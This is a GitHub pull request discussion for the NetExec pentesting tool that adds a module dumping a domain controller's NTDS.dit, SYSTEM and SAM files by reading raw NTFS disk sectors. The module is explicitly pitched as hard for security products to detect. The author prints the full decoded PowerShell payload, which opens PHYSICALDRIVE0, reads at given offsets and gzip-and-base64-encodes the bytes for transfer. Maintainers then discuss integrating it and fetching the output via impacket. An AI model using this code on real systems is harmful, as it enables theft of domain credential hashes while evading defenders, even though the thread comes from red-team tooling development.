Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add raw-ntds-copy module #468

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open

Conversation

0xb11a1
Copy link

@0xb11a1 0xb11a1 commented Oct 19, 2024

A new module for dumping the NTDS.dit, SYSTEM, and SAM files directly from the hard drive by analyzing the NTFS structure. This can be considered an alternative method to Shadow Copy, enabling the extraction of these files even if they are locked or protected by a process. It doesn't use the standard Windows API for file access, making it difficult for security solutions to detect which files are being copied.

image

@XiaoliChan
Copy link
Contributor

@0xb11a1 This is an awesome technique, any reference to this? I just know that RawCopy can do this, but I don't know how to calculate the buf/offset stuff.

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 20, 2024

Hey @XiaoliChan, unfortunately I don’t have a specific reference for this as it’s a bit messy and gathered from multiple sources. However, this tool 'Active@ Disk Editor' has been really helpful, especially with its template feature that highlights header structures. here is an example of it :
image

What exactly do you mean by buf/offset? If you’re referring to the dataRun (the actual location of file fragments on disk), I understood it from this video: https://www.youtube.com/watch?v=6WFUM5eViIk . My implementation of it can be found in the 'decode_dataRun' function within the code. let me know if that helped or not.

@NeffIsBack
Copy link
Contributor

This looks really cool! Thanks for the PR.
Can you provide the source code for the base64 encoded code and how you compiled it, so i can verify the code myself?

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 20, 2024

Thanks @NeffIsBack, for decoding the code, it uses only base64, you can decode it directly yourself using Cyberchef from here https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&oenc=65001

What the code does is creating a function that reads "PHYSICALDRIVE0" by specific offset, then base64 the output binary and compress it using gzip for faster network transfer.

The decoded version :

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class CNativeMethods
{
   public const uint GENERIC_READ = 0x80000000;
   public const uint OPEN_EXISTING = 3;
   public const uint FILE_SHARE_READ = 0x00000001;
   public const uint FILE_SHARE_WRITE = 0x00000002;
   public const uint FILE_SHARE_DELETE = 0x00000004;

   [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
   public static extern SafeFileHandle CreateFile(
       string lpFileName, 
       uint dwDesiredAccess, 
       uint dwShareMode, 
       IntPtr lpSecurityAttributes, 
       uint dwCreationDisposition, 
       uint dwFlagsAndAttributes, 
       IntPtr hTemplateFile
   );

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool ReadFile(
       SafeFileHandle hFile, 
       byte[] lpBuffer, 
       uint nNumberOfBytesToRead, 
       out uint lpNumberOfBytesRead, 
       IntPtr lpOverlapped
   );

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool SetFilePointerEx(
       SafeFileHandle hFile, 
       long lDistanceToMove, 
       out long lpNewFilePointer, 
       uint dwMoveMethod
   );
}

public enum EMoveMethod : uint
{
   Begin = 0,
   Current = 1,
   End = 2
}
"@
Function read_disk{


$offset = [long]$args[0]
$size = [int]$args[1]
try {
   $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
       [CNativeMethods]::GENERIC_READ, 
       [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
       [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)

   if ($handle.IsInvalid) {
       throw "Failed to create file handle"
   }

   $moveToHigh = 0
   $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
   if (-not $success) {
       throw "Failed to set file pointer"
   }

   $buffer = New-Object byte[] $size
   $bytesRead = 0
   $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)

   if (-not $success) {
       throw "Failed to read file"
   }

   $memoryStream = New-Object System.IO.MemoryStream

   
   $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compreass)

   $gzipStream.Write($buffer, 0, $buffer.Length)
   $gzipStream.Close()
   
   $compressedBytes = $memoryStream.ToArray()
   
   $compressedBase64 = [Convert]::ToBase64String($compressedBytes)

   Write-Output $compressedBase64

   

} catch {
   Write-Error "An error occurred: $_"
}

finally {
   if ($handle -and !$handle.IsInvalid) {
       $handle.Close()
   }
}
}

@Dfte
Copy link
Contributor

Dfte commented Oct 20, 2024

Is there a way to add this code as an option for the --ntds core option ? Since we already have --ntds vss, may be we can add --ntds raw ?

@mpgn
Copy link
Collaborator

mpgn commented Oct 20, 2024

Can this technique create a bsod ?

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 20, 2024

@mpgn i don't think so as the main function that is being executed in the DC is "CreateFile" to read at specific offset, unless it has some weird edge case. i will do some more research into it and stress testing it. everything else is handled in python.

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 21, 2024

@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the connection class in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.

@mpgn
Copy link
Collaborator

mpgn commented Oct 21, 2024

@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the connection class in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.

self.conn.execute(...) ?

@Dfte
Copy link
Contributor

Dfte commented Oct 21, 2024

Stupid question of mine may be but there is no way you can get the offsets remotely without executing any powershell ? PhysicalDrive offsets are not stored in registry keys ? (may be something I can assist with ?)

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 26, 2024

@Dfte i don't think they are stored there, but if you find a way to get the offset from there i think it would be good to have it. But either way for the raw copy to happen i think we still need to execute a Powershell script in order to get the data based on the extracted offsets.

Also, i switch it to be an ntds option as @Dfte suggested:
image

@mpgn
Copy link
Collaborator

mpgn commented Oct 26, 2024

You can also use impacket to read the result directly instead of letting the user enter manually the final command 😉

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 26, 2024

@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.

@mpgn
Copy link
Collaborator

mpgn commented Oct 26, 2024

@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.

you can check this https://github.com/fortra/impacket/blob/835e17550b57606ee3c681ae1c3f0edea096ec19/examples/secretsdump.py#L317

@0xb11a1
Copy link
Author

0xb11a1 commented Oct 26, 2024

@mpgn i've added it

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants